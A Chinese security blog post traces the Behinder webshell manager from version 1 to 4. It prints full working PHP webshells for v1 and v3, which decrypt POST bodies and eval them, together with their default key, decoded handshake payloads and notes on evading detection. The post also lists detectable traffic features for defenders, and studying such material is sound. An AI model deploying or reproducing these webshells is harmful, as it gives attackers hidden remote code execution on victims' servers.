技术分享
冰蝎演化史——以PHP马为例
发布时间 · 2022-08-26

冰蝎演化史——以PHP马为例


冰蝎,著名的加密流量Webshell管理工具,刚好前几天冰蝎出4.0版啦,谨以此文简单回顾一下这些年冰蝎功能进化与密钥交换方面的变化。功能是一个工具非常重要的部分,密钥交换体现了冰蝎马连接方式上的变化,小聊一下这两个比较重要的方面。

本文主要关注PHP马,因为PHP并不存在手动编译的过程,只要提供PHP源代码,PHP会自己把源代码编译为opcode,由Zend引擎来解析opcode。而冰蝎对于java和.NET的支持都是传输加密之后的二进制字节流,java环境传输class二进制文件,.NET环境传输dll文件的二进制字节流,想要看到payload源码,还需反编译过程,稍微复杂一些。


一.功能改进

作为工具的使用者,最关注的还是冰蝎功能的提升。而一个基本的Webshell管理工具,以经典的菜刀为例,需要具有获取基本信息、命令执行、文件管理等基础功能,还有数据库管理、执行脚本等拓展功能。

而脍炙人口的冰蝎当然不会止步于此,从冰蝎1开始,作者根据其丰富经验,就内置了九大功能:获取基本信息、文件管理、命令执行、虚拟终端、SOCKS代理、反弹Shell、数据库可视化管理、自定义代码执行备忘录功能。其中除了Webshell管理工具的常规功能外,针对内网环境,冰蝎1就可以做到自动上传并加载数据库驱动、反弹Meterpreter、基于一句话木马的SOCKS代理功能等强大功能。



从反编译的源码来看,冰蝎2时作者已有内置插件的想法,但还没完善。除此之外,冰蝎从2.0版本开始还有一些细节方面的改善,开始支持自定义请求头、自定义Cookie、HTTP代理,虚拟终端Shell进程可关闭等,从渗透角度绝对是更隐蔽了。


不久后推出的冰蝎3就拥有了插件扩展,UI里可以看到支持在线安装,请求了一下发现返回是null,可能当时不同功能的插件还有待开发吧。冰蝎3能够在Github上找到的Release都是beta版,界面中所提到v3正式版上线的平行空间功能都没有实现。不过冰蝎3多了SOCKS代理连接、增强了内网穿透功能,在原有的基于HTTP的SOCKS5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口、请求体增加了随机冗余参数、提升了客户端运行环境的兼容性、增加内存马防检测功能、Java内存马注入功能、增加Cobalt Strike一键上线、增强Shell管理等等。


冰蝎4实现了平行空间功能,也就是内网资产探测和管理,本地环境简单尝试了一下,发现这个功能提升空间还是很大的。其他细节方面,冰蝎4增强了文件管理、连接逻辑重构、新增Agent内存马一键注入、多层网络子Shell穿透模块、自动缓存数据等功能。最重要的是,开放插件开发模块,可由使用者自己开发自定义插件,内置了多款插件,冰蝎生命力更进一步。


二.冰蝎1 一次GET,协商密钥

首先分析一下冰蝎PHP马:

<?php
	@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
	$key=substr(md5(uniqid(rand())),16);
	$_SESSION['k']=$key;
	print $key;
}
else
{
	$key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
			$post[$i] = $post[$i]^$key[$i+1&15]; 
		}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
	$arr=explode('|',$post);
	$func=$arr[0];
	$params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
	@call_user_func(new C(),$params);
}
?>

冰蝎1新增Shell需要参数密码:


这里的密码并非会话密钥,只是GET请求URL的参数。

如果收到的是GET请求,则生成随机16位密钥,并将密钥写入session,返回密钥明文。

如果收到的是POST请求,就从session中取出密钥,函数file_get_contents("PHP://input")获取POST请求体的内容,对其进行Base64解码之后,再进行AES解密,执行解密结果:

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNvbnRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250ZW50KTsNCiAgICAka2V5ID0gJF9TRVNTSU9OWydrJ107DQogICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZm9yKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfSRjb250ZW50PSJlODAzYTkzYi02N2VhLTQ3ZWQtYjBiMC03NWQxNGNmOTBiZDkiOw0KbWFpbigkY29udGVudCk7'));
base64解码后:
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
     {
     for($i=0;$i<strlen($data);$i++) {
      $data[$i] = $data[$i]^$key[$i+1&15]; 
     }
return $data;
     }
    else
     {
     return openssl_encrypt($data, "AES128", $key);
     }
}$content="e803a93b-67ea-47ed-b0b0-75d14cf90bd9";
main($content); 


1会以一次GET请求开始本次连接,本次GET请求的响应包body就是本次会话的AES使用的密钥,本次会话使用AES/CBC/PKCS5Padding加密,IV是十六字节的0x00 。GET请求之后的第一个POST一般为请求基本信息,PHP马就是请求PHPinfo。


三.冰蝎2 多次GET,可变载荷

冰蝎2Webshell相较于冰蝎1并没有太多改变,但在建立连接方面,冰蝎2会以至少两次GET请求开启一次与Webshell的连接。通过比较前后两次请求包body的内容确定前后附加的内容:

11111payload22222
11111another payload22222


本次连接的会话密钥以最后一个GET请求的相应包body为准。两次GET显然提升了冰蝎马的灵活性。

建立连接时GET请求之后,还有一次POST请求,用于验证密钥,以下是该POST请求携带payload所执行的函数:

@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$content="f61e7813-2848-4fe0-b658-d24f5c019f03";
main($content);

可以看到这里协商密钥的依据是content,找源码发现是随机生成的uuid,长度固定,或许可以作为一种检测特征。如果服务端能够正确解码content,这证明双方持有的密钥一致,可以开始通信了。


四.冰蝎3 预共享密钥,无明文交互

首先,什么叫做预共享密钥?所谓预共享,即在未连接时已完成密钥共享,冰蝎3新增Shell设置有参数密码。默认密钥是作者的id的MD5值,而AES密钥一般为128bit,16字节,于是取key值的MD5前十六位作为密钥。开始连接时,客户端会发起一个POST请求,发送使用key的MD5前十六位加密密文的Base64编码,若服务端能够正确解码,那么证明本次密钥协商成功。


以下是冰蝎3的默认PHP木马:

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

其基本功能就是解密payload,执行其携带的函数,做了一定的免杀处理。本段更关注其加解密部分,参数key就是新建Shell时参数密码值MD5的前16位,刚好128bit。这个值当然也可以修改,改成别的字符串,PHP马的参数key也需要更改成该字符串的MD5值前16位。

协商密钥的GET请求包是冰蝎1、2的重要特征,冰蝎3采用预共享密钥,规避了密钥的明文传输,使流量更加隐蔽,在当时是对各家WAF的一个全新考验。



建立连接的POST请求包的Payload功能是让服务端执行以下代码:

@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
	$result["msg"] = base64_encode($content);
	$key = $_SESSION['k'];
	echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
	{
		for($i=0;$i<strlen($data);$i++) {
			$data[$i] = $data[$i]^$key[$i+1&15]; 
		}
		return $data;
	}
	else
	{
		return openssl_encrypt($data, "AES128", $key);
	}
}$content="Y3dDMXpSa2o3OURScHlpcWNMVGVnNEt2ZVUyckR3SkJkcnVZakx4aGRXVnY3MkhkdHBkcFdYMXpJYkRQWVRPWmNhUDRMelhLdVZtT0VHczhCdDdqbmZQME5vOFEyVDdzTTNhajVHZWp4a2FHRkxiSU1UT1U1a0VWeGJIbmRwTkluU3liTkRienQ2QURXbllqOVZRNzRkbktBaGJVeEt2azFvM3M2MWNJU1pMZk1vQWdjY2Z3QnhMRHR1TnlETldaamJKVE8yOTFsU2pvak5jOGdrT2pKYlFwMTIzZnhSUXRHVmhrY05hdmNPbzV5a2tVR2JWQ2s=";$content=base64_decode($content);
main($content);

其中参数content就是本次密钥协商的凭证,服务端会用之前提到写入冰蝎3PHP马AES加密content内容,以响应的形式返回客户端。客户端再用协商的密钥解密响应包的body,若有content相同,就代表客户端服务端持有的密钥一致,就可以开始愉快地通信。比起冰蝎2使用固定长度的content作为凭证,冰蝎3的content是3000字符以上的随机长度字符串,更添隐蔽性。


若服务端不能正确解码,则表示密钥错误或其他原因,一般连接失败冰蝎都会提示原因。如果第一个POST请求没有被及时或正确响应,客户端会发送第二次POST请求,若依旧未被正确解码,则恢复冰蝎1的密钥交换方式。如上图所示,一次POST请求的响应会set一个Cookie,两次POST请求set了两个Cookie;由于解码失败,上传的Webshell中也没有配置处理GET请求的方法,于是GET请求的响应body是空的。


五.冰蝎4 密钥写入木马

冰蝎4的Webshell可以完全自定义加解密方式,作者称之为通信协议。到冰蝎4.0.5,加密方式有以下几种:default_xor、default_xor_base64、default_aes、default_image、default_json、AES_with_magic。其中看到Github上issue中提到default_xor可破解,本地测试使用4.0.3版本,default_xor马连接不上,改其他加密方式就好了。使用前,需先配置传输协议,选择相应的协议名称,点击生成服务器。可以修改加解密代码,在下方测试加解密结果,最后点击保存。然后在冰蝎jar包的目录下会生成server文件夹,将其中的木马上传即可。


冰蝎4新增Shell不需要任何参数,但必须指定传输协议,相应的传输协议需在上面的本步骤中保存到本地。


之后使用default_aes方式作为示例:

@error_reporting(0);
function main($content)
{
   $result = array();
   $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    @session_start();  //初始化session,避免connect之后直接background,后续getresult无法获取cookie
    echo encrypt(json_encode($result));
}

   function Encrypt($data)
   {
      $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
      return base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
   }
$content="MzZjSHFEbUp2akZVSWNYVUhGb3Q4bnBQQVkzeXV6U2xEcWU0TjVsNEg1Y3ZCRmw3cnZrQ2ZXdzlsaVpzekxjcTE3b3JKT3hiMVVWTXVDNlNjNHplUFFnWk1PZjd0eWxvWEg3TTI2RGdCdDI2Ylg2dkx0cUNydmUzQ0lCMkg4WEZBbExEeEZDZHVyOUV0d3AwMnZJWUdKWHVScHA2YzR0VEozSHlldGtuc2JreW9NclpFSGJwZkMzT1NaSTFEMXVIQ211RFNTeFE0dTRWcDF5MUNEVXFGTUViNzZLaVRKYk5NejZxSlZGSTJBRzBxVUFidXVnOWxxbGVBbVN1cDJ3MEN0cTNlb2xLSGlJYkhBSk1RUVhYZVFyVmtjT2tTQU02S1plV25MYXdSaHUwZnVSRGU1dFRCR3NnVjB2bUljQzNZeFZLRDJnSVRDVVVBOHk5b0ZIb0V6NDQwTmVCTTJEWHVjQW5GakR4Mm9rdkdaMmpXNllVOExuZExkNUEydmE4dzFGTk1wRTdVeEs1a2ZCZG1QZktYVG9wcWYzanpSNGhEM2NIVGN3b3YyUHdMS1d5cVNLWkNWZzZOTWlSN0NvdHNkQVl0WWpGM1FDOEVJNUwyZ0hwRjRsZFVtM0hsekxvQjVROFBualV3cUZubXU4WWxndnMxWFR5ZkVJRHZQQXZqWW84b3htcjhoY254cUVQaHc1eG9VOUJHSnhFVThYOU5QeE52VWpIakhGTVp4U1NwSkJZczZDQnhRQ2JFcFJKYnBhZTBQSjh5eldjNWxBU3Z2ckYyZUw2RGNpczJJZzEwamhLa293ZTR1dFIxQXlOU3dxWWlZNVdrRFo0UjBXbHU0WTVEdkVIOTVGWlRUN0hHOWxEU0F0dXR5elFDUEdOOXlXNWl0NVFjbml3T0NaZmY3TzBFVlhzSzFRT1dvNXd3NmloZDVJMUZsbDlxcWMzVklxTjQ2UVVnTU5qOEtKNjFQdXNMendlRk1KNUMycFBoOFlFTko0VjNkUklEdkdKTFg3WEFBRFltZ284TDFmZko3bzlCUlpkT2E0SEY5UkNLc0RKMFNFWlg2aDk4Y2lBb2FwcmVvelFpSTVoSnp3ajBiQXFRWjFFS1hROEJCdWJvQTVqNWROdVRUYlBGTmo3WkNpWndHdUhGMXhBUVRLdFFkODdQNEFTaW82aTZOVHFYbVh6ZWZDMklQZ0N3YzJpeXBZNjdDT1o0VVBKd1JUYUpNSEdmUnhUMTVoNWV1M2VMNHZpNUNYYTdVak84VHY5N0FDS0dweUVTRGd6aXZUbFZoTldRcVk5cEtZUlViakhhTEcyN0Vhd2ZCZHhvMWdtWTNCVlI0bzNwbm9QdmJTUkkzaE9DVFl6ZVhXb1BIeE9NdXEydmZYM1E3dkJEUXk1VDBXVVVHeEdkS2phV3huQ2s4QUJjdHo5Y2tneVhPVks0SFJ3SmtTUFE0MUcwdGdXV0ZaNUttdE5oOHA5RWJDc25MWHlqaHFxd1FpbDlWeWs5Mk1IdVlWblhPNld0aEdSOWtiMGZsb1EzUEpRWWp1VURBdWZEcFp4Rm1EdnBNcjRCM1JZaFNwWnlZdDc3RUdrWFRtVVdkY0FYS0I1UjNCOXQ3Wkd1RlBiSk9xWXg0c2xmcDhiZWtIeGtCSUtvTTkyMHRHZXdTeDQ5WEFPQ2RYOHpWV1dZTElnQ09EcTlKRE5WVXRpa0V5SFlZT2YzUFdNdlR6cXJDeG9NcHdCTkt5d0FuT2t1STFFMWVmUElnOVpkcVFBbjd2a3E0V0lOOFlVaGNFYm5MUEZQY3BvYlJJVk5iSjhVTk9QdXcyZUdiSFF5cUtWOFkzUDRyZE41c01FNTJiMWRKWkZTZml3QVVRaUo4cTAySEtzcW42aGxWQnhOQXlRa1pJZzJCQmtrMFdVRzcwTkUxalFsTG1UYW92NTVqcmV1ZUhjS2hKVmVidkt4V3pyVmVKY2xBVFoxWGwxb0xwSFg2amdDbnBpd0I3NnpUcTRFTzhJdzFBdVlLNHpOa21Tb2RpWE1NZnBYekxmZ2gxZktSN1NhQms3ekZzNUc0NE9sTUpzeVM1VnhCMWV6ZnhaZUt5SkxEWldKemRYTVdTZHhSVE5hWXZYb3JpRzBpREgybDN4ZnpBYWJNZUd4ZVZTbDZBeGlUTzVoSjJIbTlsVTFjM214WXRNNmcxa1lGbm1VZElOUTFReVByTEZYdlIyckR0VTAzYWc4Y2w5WGFoYnI2eEx4VmpOZlhlOEFPa3psSVh3UTF4MUFjakV6eWpTanBJeERlSFN5NEFIOWZWc2ZZRmEwN1pjYUdoSGM4YXU5U21qejVueXBFbjNOeEFlMDNRT1E5N01YNngyUU1Y";$content=base64_decode($content);
main($content);

冰蝎4的default AES模式传的payload是AES/ECB/PKCS5Padding,和前几代冰蝎不同,所以冰蝎4并不能兼容前几代冰蝎马,需要注意。密钥协商方式与冰蝎3一致,content的生成方式也相同,但第一次POST请求没有被正确或及时响应不再重发。连接成功之后,客户端会自动POST请求phpinfo。


六.最后

冰蝎每个版本之间其他方面的流量特征都有细微变化,但都具体写出来文章就显得冗长了。最后简单提一下,内置UA头更新、程序定义HTTP头部字段不同、心跳包变化(长度、内容)等。对于Shell实体的其他功能实现上都有不小的改进,随便哪个方面都是能新写一篇文章的程度,这里就不多说了。

冰蝎的演化史,也是冰蝎隐蔽史,从功能实现、连接方式中很多角度都已看出冰蝎越来越阴,防不胜防。从更新日志上可以看得出冰蝎作者更新勤奋,撰写这篇文章期间冰蝎4小版本就出了三个,值得学习。而且从反编译的源码来看,每个大版本之间都改了很多,几乎重构,背后可以看出作者技术在不断精进。从冰蝎1到冰蝎4,即使Webshell的原理没有太大改变,作者在编写工具时投入的奇思和对于需求的考量也有很多值得参考的地方。

个人水平和时间都有限,还有一些功能没有实际测试,比如冰蝎4的二进制服务端等各种炫酷功能,有机会一定尝试一下。因为主要关注PHP马,对于JSP、ASP的细节没有深入研究,这里也有空补上。

还有一点,虽然使用冰蝎加密流量能够规避关键字检测,但在HW期间直接把IDS设备放在负载均衡后面,到IDS的流量理应都是明文,请求体还是加密的流量基本可以全封了(还是有误报概率的,建议结合实际情况来看)。


参考资料:

利用动态二进制加密实现新型一句话木马之PHP篇

利用动态二进制加密实现新型一句话木马之客户端篇

冰蝎动态二进制加密网站管理客户端